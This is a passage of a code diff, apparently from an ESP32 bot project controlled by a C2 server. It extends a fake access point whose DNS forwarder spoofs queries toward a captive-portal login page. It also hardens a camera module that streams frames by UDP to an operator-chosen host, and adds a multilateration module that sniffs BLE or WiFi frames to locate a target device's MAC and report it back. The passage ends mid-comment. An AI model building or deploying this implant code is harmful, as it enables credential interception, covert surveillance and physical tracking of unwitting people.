|
||||
void stop_sniffer(void);
|
||||
|
||||
/* ===== CLIENTS ===== */
|
||||
void list_connected_clients(void);
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_netif.h"
|
||||
#include "lwip/lwip_napt.h"
|
||||
#include "esp_event.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "lwip/netdb.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
@ -16,6 +16,12 @@
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "MODULE_FAKE_AP";
|
||||
static esp_netif_t *ap_netif = NULL;
|
||||
static bool ap_event_registered = false;
|
||||
static esp_event_handler_instance_t ap_event_instance_connect;
|
||||
static esp_event_handler_instance_t ap_event_instance_disconnect;
|
||||
static bool ap_ip_event_registered = false;
|
||||
static esp_event_handler_instance_t ap_event_instance_ip;
|
||||
|
||||
/* ================= AUTH ================= */
|
||||
ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */
|
||||
@ -67,6 +73,95 @@ static void fakeap_reset_auth(void)
|
||||
xSemaphoreGive(auth_mutex);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* CLIENTS
|
||||
* ============================================================ */
|
||||
void list_connected_clients(void)
|
||||
{
|
||||
wifi_sta_list_t sta_list;
|
||||
esp_wifi_ap_get_sta_list(&sta_list);
|
||||
|
||||
char buf[512];
|
||||
int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num);
|
||||
|
||||
for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) {
|
||||
off += snprintf(buf + off, sizeof(buf) - off,
|
||||
" [%d] %02x:%02x:%02x:%02x:%02x:%02x\n",
|
||||
i + 1,
|
||||
sta_list.sta[i].mac[0], sta_list.sta[i].mac[1],
|
||||
sta_list.sta[i].mac[2], sta_list.sta[i].mac[3],
|
||||
sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]);
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, NULL);
|
||||
}
|
||||
|
||||
static void fakeap_wifi_event_handler(
|
||||
void *arg,
|
||||
esp_event_base_t event_base,
|
||||
int32_t event_id,
|
||||
void *event_data
|
||||
) {
|
||||
if (event_base != WIFI_EVENT) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (event_id == WIFI_EVENT_AP_STACONNECTED) {
|
||||
wifi_event_ap_staconnected_t *e =
|
||||
(wifi_event_ap_staconnected_t *)event_data;
|
||||
char msg[96];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)",
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
e->aid
|
||||
);
|
||||
msg_info(TAG, msg, NULL);
|
||||
} else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) {
|
||||
wifi_event_ap_stadisconnected_t *e =
|
||||
(wifi_event_ap_stadisconnected_t *)event_data;
|
||||
char msg[112];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)",
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
e->aid,
|
||||
e->reason
|
||||
);
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
}
|
||||
|
||||
static void fakeap_ip_event_handler(
|
||||
void *arg,
|
||||
esp_event_base_t event_base,
|
||||
int32_t event_id,
|
||||
void *event_data
|
||||
) {
|
||||
if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) {
|
||||
return;
|
||||
}
|
||||
|
||||
ip_event_ap_staipassigned_t *e =
|
||||
(ip_event_ap_staipassigned_t *)event_data;
|
||||
char msg[128];
|
||||
snprintf(
|
||||
msg,
|
||||
sizeof(msg),
|
||||
"AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> "
|
||||
IPSTR,
|
||||
e->mac[0], e->mac[1], e->mac[2],
|
||||
e->mac[3], e->mac[4], e->mac[5],
|
||||
IP2STR(&e->ip)
|
||||
);
|
||||
ESP_LOGI(TAG, "%s", msg);
|
||||
msg_info(TAG, msg, NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* AP
|
||||
* ============================================================ */
|
||||
@ -90,6 +185,40 @@ void start_access_point(const char *ssid, const char *password, bool open)
|
||||
|
||||
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
||||
|
||||
if (!ap_event_registered) {
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
WIFI_EVENT,
|
||||
WIFI_EVENT_AP_STACONNECTED,
|
||||
&fakeap_wifi_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_connect
|
||||
)
|
||||
);
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
WIFI_EVENT,
|
||||
WIFI_EVENT_AP_STADISCONNECTED,
|
||||
&fakeap_wifi_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_disconnect
|
||||
)
|
||||
);
|
||||
ap_event_registered = true;
|
||||
}
|
||||
if (!ap_ip_event_registered) {
|
||||
ESP_ERROR_CHECK(
|
||||
esp_event_handler_instance_register(
|
||||
IP_EVENT,
|
||||
IP_EVENT_AP_STAIPASSIGNED,
|
||||
&fakeap_ip_event_handler,
|
||||
NULL,
|
||||
&ap_event_instance_ip
|
||||
)
|
||||
);
|
||||
ap_ip_event_registered = true;
|
||||
}
|
||||
|
||||
wifi_config_t cfg = {0};
|
||||
strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid));
|
||||
cfg.ap.ssid_len = strlen(ssid);
|
||||
@ -105,21 +234,43 @@ void start_access_point(const char *ssid, const char *password, bool open)
|
||||
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg));
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
|
||||
esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
||||
esp_netif_ip_info_t ip;
|
||||
esp_netif_get_ip_info(ap, &ip);
|
||||
if (!ap_netif) {
|
||||
ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF");
|
||||
}
|
||||
if (!ap_netif) {
|
||||
ap_netif = esp_netif_create_default_wifi_ap();
|
||||
}
|
||||
if (!ap_netif) {
|
||||
ESP_LOGE(TAG, "Failed to create AP netif");
|
||||
return;
|
||||
}
|
||||
|
||||
esp_netif_dhcps_stop(ap);
|
||||
esp_netif_ip_info_t ip = {
|
||||
.ip.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||
.gw.addr = ESP_IP4TOADDR(192, 168, 4, 1),
|
||||
.netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0),
|
||||
};
|
||||
|
||||
esp_netif_dhcps_stop(ap_netif);
|
||||
esp_netif_set_ip_info(ap_netif, &ip);
|
||||
esp_netif_dhcps_option(
|
||||
ap,
|
||||
ap_netif,
|
||||
ESP_NETIF_OP_SET,
|
||||
ESP_NETIF_DOMAIN_NAME_SERVER,
|
||||
&ip.ip,
|
||||
sizeof(ip.ip)
|
||||
);
|
||||
esp_netif_dhcps_start(ap);
|
||||
esp_netif_dhcps_start(ap_netif);
|
||||
ESP_LOGI(TAG,
|
||||
"AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR,
|
||||
IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask));
|
||||
ESP_LOGI(TAG, "DHCP server started");
|
||||
|
||||
ip_napt_enable(ip.ip.addr, 1);
|
||||
/*
|
||||
* Note: NAPT disabled - causes crashes with lwip mem_free assertion.
|
||||
* FakeAP works without NAPT (no internet sharing to clients).
|
||||
* TODO: Fix NAPT if internet sharing is needed.
|
||||
*/
|
||||
|
||||
dns_param_t *p = calloc(1, sizeof(*p));
|
||||
p->captive_portal = open;
|
||||
@ -198,7 +349,10 @@ void dns_forwarder_task(void *pv)
|
||||
ip4_addr_t ip;
|
||||
ip.addr = cli.sin_addr.s_addr;
|
||||
|
||||
ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip));
|
||||
|
||||
if (captive && !fakeap_is_authenticated(ip)) {
|
||||
ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP);
|
||||
send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP));
|
||||
continue;
|
||||
}
|
||||
|
||||
@ -76,6 +76,8 @@ static const char *LOGIN_PAGE =
|
||||
* ============================================================ */
|
||||
static esp_err_t captive_portal_handler(httpd_req_t *req)
|
||||
{
|
||||
ESP_LOGI(TAG, "HTTP request received: %s", req->uri);
|
||||
|
||||
struct sockaddr_in addr;
|
||||
socklen_t len = sizeof(addr);
|
||||
|
||||
@ -85,6 +87,7 @@ static esp_err_t captive_portal_handler(httpd_req_t *req)
|
||||
|
||||
ip4_addr_t client_ip;
|
||||
client_ip.addr = addr.sin_addr.s_addr;
|
||||
ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip));
|
||||
|
||||
if (is_already_authenticated(client_ip)) {
|
||||
httpd_resp_set_status(req, "302 Found");
|
||||
|
||||
@ -1,4 +1,7 @@
|
||||
#pragma once
|
||||
|
||||
void mod_ble_trilat_register_commands(void);
|
||||
void mod_camera_register_commands(void);
|
||||
/* Camera module */
|
||||
void mod_camera_register_commands(void);
|
||||
|
||||
/* MLAT (Multilateration) module */
|
||||
void mod_mlat_register_commands(void);
|
||||
|
||||
@ -13,6 +13,8 @@
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
@ -23,7 +25,7 @@
|
||||
#define TAG "CAMERA"
|
||||
#define MAX_UDP_SIZE 2034
|
||||
|
||||
#if defined(CONFIG_MODULE_RECON) && defined(CONFIG_RECON_MODE_CAMERA)
|
||||
#if defined(CONFIG_RECON_MODE_CAMERA)
|
||||
/* ================= CAMERA PINS ================= */
|
||||
#define CAM_PIN_PWDN 32
|
||||
#define CAM_PIN_RESET -1
|
||||
@ -108,6 +110,8 @@ static void udp_stream_task(void *arg)
|
||||
|
||||
const size_t token_len = strlen(token);
|
||||
uint8_t buf[MAX_UDP_SIZE + 32];
|
||||
uint32_t frame_count = 0;
|
||||
uint32_t error_count = 0;
|
||||
|
||||
while (streaming_active) {
|
||||
|
||||
@ -118,14 +122,34 @@ static void udp_stream_task(void *arg)
|
||||
continue;
|
||||
}
|
||||
|
||||
frame_count++;
|
||||
size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE;
|
||||
|
||||
/* DEBUG: Log frame info every 10 frames */
|
||||
if (frame_count % 10 == 1) {
|
||||
ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d",
|
||||
frame_count, fb->len, num_chunks, udp_sock);
|
||||
}
|
||||
|
||||
/* Check socket validity */
|
||||
if (udp_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket invalid (sock=%d), stopping", udp_sock);
|
||||
esp_camera_fb_return(fb);
|
||||
break;
|
||||
}
|
||||
|
||||
/* START */
|
||||
memcpy(buf, token, token_len);
|
||||
memcpy(buf + token_len, "START", 5);
|
||||
sendto(udp_sock, buf, token_len + 5, 0,
|
||||
ssize_t ret = sendto(udp_sock, buf, token_len + 5, 0,
|
||||
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
||||
if (ret < 0) {
|
||||
ESP_LOGE(TAG, "START send failed: errno=%d (%s)", errno, strerror(errno));
|
||||
}
|
||||
|
||||
size_t off = 0;
|
||||
size_t rem = fb->len;
|
||||
size_t chunk_num = 0;
|
||||
|
||||
while (rem > 0 && streaming_active) {
|
||||
size_t chunk = rem > MAX_UDP_SIZE ? MAX_UDP_SIZE : rem;
|
||||
@ -133,23 +157,39 @@ static void udp_stream_task(void *arg)
|
||||
memcpy(buf, token, token_len);
|
||||
memcpy(buf + token_len, fb->buf + off, chunk);
|
||||
|
||||
if (sendto(udp_sock, buf, token_len + chunk, 0,
|
||||
ret = sendto(udp_sock, buf, token_len + chunk, 0,
|
||||
(struct sockaddr *)&dest_addr,
|
||||
sizeof(dest_addr)) < 0) {
|
||||
msg_error(TAG, "udp send failed", NULL);
|
||||
sizeof(dest_addr));
|
||||
|
||||
if (ret < 0) {
|
||||
error_count++;
|
||||
ESP_LOGE(TAG, "chunk %u/%u send failed: errno=%d (%s), errors=%lu",
|
||||
chunk_num, num_chunks, errno, strerror(errno), error_count);
|
||||
|
||||
/* Stop after too many consecutive errors */
|
||||
if (error_count > 50) {
|
||||
ESP_LOGE(TAG, "too many errors, stopping stream");
|
||||
streaming_active = false;
|
||||
}
|
||||
break;
|
||||
} else {
|
||||
error_count = 0; /* Reset on success */
|
||||
}
|
||||
|
||||
off += chunk;
|
||||
rem -= chunk;
|
||||
chunk_num++;
|
||||
vTaskDelay(1);
|
||||
}
|
||||
|
||||
/* END */
|
||||
memcpy(buf, token, token_len);
|
||||
memcpy(buf + token_len, "END", 3);
|
||||
sendto(udp_sock, buf, token_len + 3, 0,
|
||||
ret = sendto(udp_sock, buf, token_len + 3, 0,
|
||||
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
|
||||
if (ret < 0) {
|
||||
ESP_LOGE(TAG, "END send failed: errno=%d (%s)", errno, strerror(errno));
|
||||
}
|
||||
|
||||
esp_camera_fb_return(fb);
|
||||
vTaskDelay(pdMS_TO_TICKS(140)); /* ~7 FPS */
|
||||
@ -160,6 +200,7 @@ static void udp_stream_task(void *arg)
|
||||
udp_sock = -1;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "stream stopped after %lu frames", frame_count);
|
||||
msg_info(TAG, "stream stopped", NULL);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
@ -169,31 +210,62 @@ static void udp_stream_task(void *arg)
|
||||
* ============================================================ */
|
||||
static void start_stream(const char *ip, uint16_t port)
|
||||
{
|
||||
ESP_LOGI(TAG, "start_stream called: ip=%s port=%u", ip ? ip : "(null)", port);
|
||||
|
||||
if (streaming_active) {
|
||||
msg_error(TAG, "stream already active", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!camera_initialized) {
|
||||
if (!init_camera())
|
||||
return;
|
||||
camera_initialized = true;
|
||||
}
|
||||
|
||||
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
|
||||
if (udp_sock < 0) {
|
||||
msg_error(TAG, "udp socket failed", NULL);
|
||||
if (!ip || ip[0] == '\0') {
|
||||
ESP_LOGE(TAG, "invalid IP: null/empty");
|
||||
msg_error(TAG, "invalid ip", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
if (port == 0) {
|
||||
ESP_LOGE(TAG, "invalid port: 0");
|
||||
msg_error(TAG, "invalid port", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!camera_initialized) {
|
||||
ESP_LOGI(TAG, "initializing camera...");
|
||||
if (!init_camera()) {
|
||||
msg_error(TAG, "camera init failed", NULL);
|
||||
return;
|
||||
}
|
||||
camera_initialized = true;
|
||||
}
|
||||
|
||||
// Create UDP socket
|
||||
udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
|
||||
if (udp_sock < 0) {
|
||||
ESP_LOGE(TAG, "socket() failed: errno=%d (%s)", errno, strerror(errno));
|
||||
msg_error(TAG, "udp socket failed", NULL);
|
||||
return;
|
||||
}
|
||||
ESP_LOGI(TAG, "socket created: fd=%d", udp_sock);
|
||||
|
||||
// Build destination address (use inet_pton instead of inet_addr)
|
||||
memset(&dest_addr, 0, sizeof(dest_addr));
|
||||
dest_addr.sin_family = AF_INET;
|
||||
dest_addr.sin_port = htons(port);
|
||||
dest_addr.sin_addr.s_addr = inet_addr(ip);
|
||||
dest_addr.sin_port = htons(port);
|
||||
|
||||
if (inet_pton(AF_INET, ip, &dest_addr.sin_addr) != 1) {
|
||||
ESP_LOGE(TAG, "invalid IP address: '%s'", ip);
|
||||
close(udp_sock);
|
||||
udp_sock = -1;
|
||||
msg_error(TAG, "invalid ip", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "target: %s:%u (addr=0x%08x)",
|
||||
ip, port, (unsigned)dest_addr.sin_addr.s_addr);
|
||||
|
||||
streaming_active = true;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
udp_stream_task,
|
||||
"cam_stream",
|
||||
8192,
|
||||
@ -202,25 +274,35 @@ static void start_stream(const char *ip, uint16_t port)
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "failed to create stream task");
|
||||
streaming_active = false;
|
||||
close(udp_sock);
|
||||
udp_sock = -1;
|
||||
msg_error(TAG, "task create failed", NULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
static void stop_stream(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "stop_stream called, active=%d", streaming_active);
|
||||
|
||||
if (!streaming_active) {
|
||||
msg_error(TAG, "no active stream", NULL);
|
||||
return;
|
||||
}
|
||||
|
||||
streaming_active = false;
|
||||
ESP_LOGI(TAG, "stream stop requested");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND HANDLERS
|
||||
* ============================================================ */
|
||||
static int cmd_cam_start(int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx)
|
||||
static int cmd_cam_start(int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
|
||||
@ -229,10 +311,56 @@ static int cmd_cam_start(int argc,
|
||||
return -1;
|
||||
}
|
||||
|
||||
start_stream(argv[0], (uint16_t)atoi(argv[1]));
|
||||
// Copie défensive (au cas où argv pointe vers un buffer volatile)
|
||||
char ip[32] = {0};
|
||||
char port_s[32] = {0};
|
||||
strlcpy(ip, argv[0] ? argv[0] : "", sizeof(ip));
|
||||
strlcpy(port_s, argv[1] ? argv[1] : "", sizeof(port_s));
|
||||
|
||||
// Trim espaces (début/fin) pour gérer "5000\r\n" etc.
|
||||
char *p = port_s;
|
||||
while (*p && isspace((unsigned char)*p)) p++;
|
||||
|
||||
// Extraire uniquement les digits au début
|
||||
char digits[8] = {0}; // "65535" max
|
||||
size_t di = 0;
|
||||
while (*p && isdigit((unsigned char)*p) && di < sizeof(digits) - 1) {
|
||||
digits[di++] = *p++;
|
||||
}
|
||||
digits[di] = '\0';
|
||||
|
||||
// Si aucun digit trouvé -> invalid
|
||||
if (di == 0) {
|
||||
ESP_LOGE(TAG, "invalid port (raw='%s')", port_s);
|
||||
// Dump hex pour debug (hyper utile)
|
||||
ESP_LOG_BUFFER_HEX(TAG, port_s, strnlen(port_s, sizeof(port_s)));
|
||||
msg_error(TAG, "invalid port", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned long port_ul = strtoul(digits, NULL, 10);
|
||||
if (port_ul == 0 || port_ul > 65535) {
|
||||
ESP_LOGE(TAG, "invalid port value (digits='%s')", digits);
|
||||
msg_error(TAG, "invalid port", req);
|
||||
return -1;
|
||||
}
|
||||
uint16_t port = (uint16_t)port_ul;
|
||||
|
||||
// IP check via inet_pton (robuste)
|
||||
struct in_addr addr;
|
||||
if (inet_pton(AF_INET, ip, &addr) != 1) {
|
||||
ESP_LOGE(TAG, "invalid IP address: '%s'", ip);
|
||||
msg_error(TAG, "invalid ip", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "parsed: ip='%s' port=%u (raw_port='%s')", ip, port, port_s);
|
||||
start_stream(ip, port);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
static int cmd_cam_stop(int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
|
||||
796
espilon_bot/components/mod_recon/mod_mlat.c
Normal file
796
espilon_bot/components/mod_recon/mod_mlat.c
Normal file
@ -0,0 +1,796 @@
|
||||
/**
|
||||
* @file mod_mlat.c
|
||||
* @brief Multilateration Scanner Module (BLE + WiFi)
|
||||
*
|
||||
* This module turns an ESP32 into an RSSI scanner for multilateration.
|
||||
* Supports both BLE and WiFi modes, switchable at runtime from C2.
|
||||
* Position is configured from C2, and RSSI readings are sent back via TCP.
|
||||
*
|
||||
* Supports two coordinate systems:
|
||||
* - GPS (lat/lon in degrees) for outdoor tracking with real maps
|
||||
* - Local (x/y in meters) for indoor tracking with floor plans
|
||||
*
|
||||
* Commands:
|
||||
* mlat config gps <lat> <lon> - Set GPS position (degrees)
|
||||
* mlat config local <x> <y> - Set local position (meters)
|
||||
* mlat config <lat> <lon> - Backward compat: GPS mode
|
||||
* mlat mode <ble|wifi> - Set scanning mode
|
||||
* mlat start <mac> - Start scanning for target MAC
|
||||
* mlat stop - Stop scanning
|
||||
* mlat status - Show current config and state
|
||||
*
|
||||
* Data format sent to C2:
|
||||
* MLAT:G;<lat>;<lon>;<rssi> - GPS coordinates
|
||||
* MLAT:L;<x>;<y>;<rssi> - Local coordinates (meters)
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <ctype.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_err.h"
|
||||
#include "nvs_flash.h"
|
||||
|
||||
/* BLE */
|
||||
#include "esp_bt.h"
|
||||
#include "esp_gap_ble_api.h"
|
||||
#include "esp_bt_main.h"
|
||||
|
||||
/* WiFi */
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_event.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
#if defined(CONFIG_RECON_MODE_MLAT)
|
||||
|
||||
/* ============================================================
|
||||
* CONFIG
|
||||
* ============================================================ */
|
||||
#define TAG "MLAT"
|
||||
|
||||
#define SEND_INTERVAL_MS 2000 /* Send aggregated RSSI every 2s */
|
||||
#define RSSI_HISTORY_SIZE 10 /* Keep last N readings for averaging */
|
||||
#define CHANNEL_HOP_MS 200 /* WiFi channel hop interval */
|
||||
|
||||
/* ============================================================
|
||||
* TYPES
|
||||
* ============================================================ */
|
||||
typedef enum {
|
||||
MLAT_MODE_NONE = 0,
|
||||
MLAT_MODE_BLE,
|
||||
MLAT_MODE_WIFI
|
||||
} mlat_mode_t;
|
||||
|
||||
typedef enum {
|
||||
COORD_GPS = 0, /* lat/lon (degrees) */
|
||||
COORD_LOCAL /* x/y (meters) */
|
||||
} coord_type_t;
|
||||
|
||||
/* WiFi frame header for promiscuous mode */
|
||||
typedef struct {
|
||||
unsigned frame_ctrl:16;
|
||||
unsigned duration_id:16;
|
||||
uint8_t addr1[6]; /* Destination */
|
||||
uint8_t addr2[6]; /* Source */
|
||||
uint8_t addr3[6]; /* BSSID */
|
||||
unsigned seq_ctrl:16;
|
||||
} __attribute__((packed)) wifi_mgmt_hdr_t;
|
||||
|
||||
/* ============================================================
|
||||
* STATE
|
||||
* ============================================================ */
|
||||
static bool mlat_configured = false;
|
||||
static bool mlat_running = false;
|
||||
static mlat_mode_t mlat_mode = MLAT_MODE_BLE; /* Default to BLE */
|
||||
|
||||
/* Hardware init state */
|
||||
static bool ble_initialized = false;
|
||||
static bool wifi_promisc_enabled = false;
|
||||
|
||||
/* Scanner position (set via mlat config) */
|
||||
static coord_type_t coord_type = COORD_GPS;
|
||||
static double scanner_lat = 0.0; /* GPS latitude (degrees) */
|
||||
static double scanner_lon = 0.0; /* GPS longitude (degrees) */
|
||||
static double scanner_x = 0.0; /* Local X position (meters) */
|
||||
static double scanner_y = 0.0; /* Local Y position (meters) */
|
||||
|
||||
/* Target MAC */
|
||||
static uint8_t target_mac[6] = {0};
|
||||
static char target_mac_str[20] = {0};
|
||||
|
||||
/* RSSI history for averaging */
|
||||
static int8_t rssi_history[RSSI_HISTORY_SIZE];
|
||||
static size_t rssi_count = 0;
|
||||
static size_t rssi_index = 0;
|
||||
|
||||
/* Task handles */
|
||||
static TaskHandle_t send_task_handle = NULL;
|
||||
static TaskHandle_t hop_task_handle = NULL;
|
||||
|
||||
/* WiFi current channel */
|
||||
static uint8_t current_channel = 1;
|
||||
|
||||
/* ============================================================
|
||||
* UTILS
|
||||
* ============================================================ */
|
||||
static bool parse_mac_str(const char *input, uint8_t *mac_out)
|
||||
{
|
||||
char clean[13] = {0};
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; input[i] && j < 12; i++) {
|
||||
char c = input[i];
|
||||
if (c == ':' || c == '-' || c == ' ')
|
||||
continue;
|
||||
if (!isxdigit((unsigned char)c))
|
||||
return false;
|
||||
clean[j++] = toupper((unsigned char)c);
|
||||
}
|
||||
|
||||
if (j != 12) return false;
|
||||
|
||||
for (int i = 0; i < 6; i++) {
|
||||
char b[3] = { clean[i*2], clean[i*2+1], 0 };
|
||||
mac_out[i] = (uint8_t)strtol(b, NULL, 16);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void mac_to_str(const uint8_t *mac, char *out, size_t len)
|
||||
{
|
||||
snprintf(out, len, "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
|
||||
static int8_t get_average_rssi(void)
|
||||
{
|
||||
if (rssi_count == 0) return 0;
|
||||
|
||||
int32_t sum = 0;
|
||||
size_t count = (rssi_count < RSSI_HISTORY_SIZE) ? rssi_count : RSSI_HISTORY_SIZE;
|
||||
|
||||
for (size_t i = 0; i < count; i++) {
|
||||
sum += rssi_history[i];
|
||||
}
|
||||
|
||||
return (int8_t)(sum / (int32_t)count);
|
||||
}
|
||||
|
||||
static void add_rssi_reading(int8_t rssi)
|
||||
{
|
||||
rssi_history[rssi_index] = rssi;
|
||||
rssi_index = (rssi_index + 1) % RSSI_HISTORY_SIZE;
|
||||
if (rssi_count < RSSI_HISTORY_SIZE) {
|
||||
rssi_count++;
|
||||
}
|
||||
}
|
||||
|
||||
static void reset_rssi_history(void)
|
||||
{
|
||||
memset(rssi_history, 0, sizeof(rssi_history));
|
||||
rssi_count = 0;
|
||||
rssi_index = 0;
|
||||
}
|
||||
|
||||
static const char *mode_to_str(mlat_mode_t mode)
|
||||
{
|
||||
switch (mode) {
|
||||
case MLAT_MODE_BLE: return "BLE";
|
||||
case MLAT_MODE_WIFI: return "WiFi";
|
||||
default: return "none";
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* BLE CALLBACK
|
||||
* ============================================================ */
|
||||
static void ble_scan_cb(esp_gap_ble_cb_event_t event,
|
||||
esp_ble_gap_cb_param_t *param)
|
||||
{
|
||||
if (!mlat_running || mlat_mode != MLAT_MODE_BLE) return;
|
||||
|
||||
if (event != ESP_GAP_BLE_SCAN_RESULT_EVT ||
|
||||
param->scan_rst.search_evt != ESP_GAP_SEARCH_INQ_RES_EVT)
|
||||
return;
|
||||
|
||||
/* Check if this is our target */
|
||||
if (memcmp(param->scan_rst.bda, target_mac, 6) != 0)
|
||||
return;
|
||||
|
||||
/* Store RSSI reading */
|
||||
add_rssi_reading(param->scan_rst.rssi);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WIFI PROMISCUOUS CALLBACK
|
||||
* ============================================================ */
|
||||
static void IRAM_ATTR wifi_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) return;
|
||||
|
||||
/* Only interested in management frames (probe requests, etc.) */
|
||||
if (type != WIFI_PKT_MGMT) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
|
||||
|
||||
/* Check if source MAC (addr2) matches our target */
|
||||
if (memcmp(hdr->addr2, target_mac, 6) != 0) return;
|
||||
|
||||
/* Store RSSI reading */
|
||||
add_rssi_reading(pkt->rx_ctrl.rssi);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* WIFI CHANNEL HOP TASK
|
||||
* ============================================================ */
|
||||
static void channel_hop_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
while (mlat_running && mlat_mode == MLAT_MODE_WIFI) {
|
||||
vTaskDelay(pdMS_TO_TICKS(CHANNEL_HOP_MS));
|
||||
|
||||
if (!mlat_running || mlat_mode != MLAT_MODE_WIFI) break;
|
||||
|
||||
current_channel = (current_channel % 13) + 1;
|
||||
esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
hop_task_handle = NULL;
|
||||
ESP_LOGI(TAG, "channel hop task stopped");
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* SEND TASK - Periodically send RSSI to C2
|
||||
* ============================================================ */
|
||||
static void mlat_send_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
char msg[128];
|
||||
|
||||
while (mlat_running) {
|
||||
vTaskDelay(pdMS_TO_TICKS(SEND_INTERVAL_MS));
|
||||
|
||||
if (!mlat_running) break;
|
||||
|
||||
if (rssi_count > 0) {
|
||||
int8_t avg_rssi = get_average_rssi();
|
||||
|
||||
/*
|
||||
